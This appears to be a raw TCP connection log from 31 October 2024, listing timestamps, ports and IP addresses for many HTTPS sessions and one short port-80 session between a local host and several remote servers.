Oct 31, 2024 03:04:17.566154957 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.566225052 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.566236973 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.566282034 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.604459047 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.604506969 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:17.604682922 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:17.652451038 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.652467966 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.652533054 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.652548075 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.652667046 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.691127062 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.691143990 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.691180944 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.691191912 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.691220999 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.691236019 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.697727919 CET	49739	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:17.697747946 CET	443	49739	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:17.697839022 CET	49739	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:17.698312044 CET	49739	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:17.698319912 CET	443	49739	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:17.813344002 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.813376904 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.813429117 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.813446045 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.813472033 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.813486099 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.935942888 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.935962915 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.936041117 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:17.936055899 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:17.936095953 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.058780909 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.058798075 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.058859110 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.058868885 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.058885098 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.059098959 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.059160948 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.059161901 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.059202909 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.062190056 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.062207937 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.062227011 CET	49732	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.062233925 CET	443	49732	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.125972986 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.125999928 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.126058102 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.126065016 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.126149893 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.126292944 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.127037048 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.127059937 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.127125025 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.128578901 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.128588915 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.128601074 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.128607988 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.128647089 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.129013062 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.129024982 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.129216909 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.129235983 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.129300117 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.129313946 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.129960060 CET	49744	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.130034924 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.130412102 CET	49744	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.131186008 CET	49744	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.131215096 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.396858931 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:18.396874905 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:18.396918058 CET	49725	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:18.396925926 CET	443	49725	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:18.523832083 CET	80	49735	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:18.523998976 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:18.576174974 CET	443	49739	142.250.184.206	192.168.2.5
Oct 31, 2024 03:04:18.617639065 CET	49739	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:18.693269968 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:18.698118925 CET	80	49735	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:18.830562115 CET	49719	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:18.830825090 CET	49739	443	192.168.2.5	142.250.184.206
Oct 31, 2024 03:04:18.857372999 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.858063936 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.858084917 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.859922886 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.859929085 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.869592905 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.869908094 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.874638081 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.874649048 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.875113964 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.875119925 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.875386000 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.875402927 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.875874043 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.875885010 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.896359921 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.896934032 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.896948099 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.897445917 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.897449970 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.899702072 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.900084972 CET	49744	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.900140047 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.900496960 CET	49744	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.900512934 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.986860991 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.987081051 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.987238884 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.987412930 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.987412930 CET	49740	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.987445116 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.987493038 CET	443	49740	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.990859032 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.990931034 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:18.991034985 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.991251945 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:18.991282940 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.002763987 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.002788067 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.002835035 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.002863884 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.002931118 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.003144026 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.003163099 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.003185987 CET	49742	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.003199100 CET	443	49742	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.003655910 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.003679037 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.003726959 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.003761053 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.003875017 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.003889084 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.003896952 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.004070044 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.004102945 CET	443	49743	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.004626989 CET	49743	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.005903006 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.005950928 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.006000042 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.006017923 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.006033897 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.006072044 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.006191015 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.006206989 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.006263971 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.006278038 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.035953999 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036148071 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036216021 CET	49744	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.036343098 CET	49744	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.036343098 CET	49744	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.036367893 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036395073 CET	443	49744	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036685944 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036703110 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036767006 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.036773920 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036787987 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036827087 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.036930084 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.036940098 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.036948919 CET	49741	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.036955118 CET	443	49741	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.039227009 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.039268970 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.039302111 CET	49750	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.039319038 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.039340019 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.039365053 CET	49750	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.039648056 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.039679050 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.039690971 CET	49750	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.039699078 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.462719917 CET	80	49735	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:19.462785006 CET	49735	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:19.719079018 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.719857931 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.719894886 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.721873999 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.721889019 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.734420061 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.734797955 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.734816074 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.735245943 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.735253096 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.741751909 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.742331028 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.742347002 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.744183064 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.744189024 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.771478891 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.772856951 CET	49750	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.772876024 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.773266077 CET	49750	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.773269892 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.778306961 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.778899908 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.778948069 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.779371977 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.779386044 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.846894026 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.847162008 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.847213030 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.847825050 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.847825050 CET	49746	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.847856998 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.847884893 CET	443	49746	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.852585077 CET	49751	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.852615118 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.852746010 CET	49751	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.854115009 CET	49751	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.854135990 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.864167929 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.864521027 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.864573002 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.864782095 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.864799023 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.864809990 CET	49748	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.864814997 CET	443	49748	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.873215914 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.873265028 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.873302937 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.875612020 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.875643969 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.875739098 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.875896931 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.875916004 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.875969887 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.875983000 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.875997066 CET	49747	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.876004934 CET	443	49747	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.900010109 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.900146961 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.900187016 CET	49750	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.908780098 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.908998966 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.909054995 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.924824953 CET	49753	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.924865007 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.924932957 CET	49753	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.925334930 CET	49750	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.925348997 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.925360918 CET	49750	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.925364971 CET	443	49750	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.926196098 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.926196098 CET	49749	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.926218033 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.926232100 CET	443	49749	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.927691936 CET	49753	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.927706003 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.927793026 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.927823067 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.927876949 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.928107023 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.928123951 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.928906918 CET	49755	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.928915977 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:19.930143118 CET	49755	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.930341959 CET	49755	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:19.930352926 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.597676039 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.601401091 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.614857912 CET	49751	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.614918947 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.616714001 CET	49751	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.616730928 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.617191076 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.617217064 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.617877960 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.617883921 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.656508923 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.657182932 CET	49753	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.657195091 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.658046007 CET	49753	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.658051014 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.663657904 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.663973093 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.663995981 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.665297031 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.665302038 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.675492048 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.689256907 CET	49755	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.689266920 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.689850092 CET	49755	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.689855099 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.742892027 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.743113995 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.743187904 CET	49751	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.746211052 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.746280909 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.746336937 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.786257982 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.786415100 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.786617994 CET	49753	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.793277025 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.793369055 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.793453932 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.817161083 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.817317009 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.817368031 CET	49755	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.835448980 CET	49751	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.835448980 CET	49751	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.835500002 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.835526943 CET	443	49751	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.836040974 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.836067915 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.836086035 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.836091995 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.836755037 CET	49755	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.836770058 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.836779118 CET	49755	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.836785078 CET	443	49755	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.837255955 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.837270021 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.890950918 CET	49753	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.890959978 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.890969992 CET	49753	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.890974045 CET	443	49753	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.988584995 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:20.988636017 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:20.988873005 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.005593061 CET	49756	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.005614996 CET	443	49756	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.029820919 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.029855013 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.029949903 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.091850996 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.091883898 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.092015982 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.092670918 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.092686892 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.143237114 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.143276930 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:21.143354893 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.144512892 CET	49760	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:21.144577980 CET	443	49760	13.107.246.45	192.168.2.5
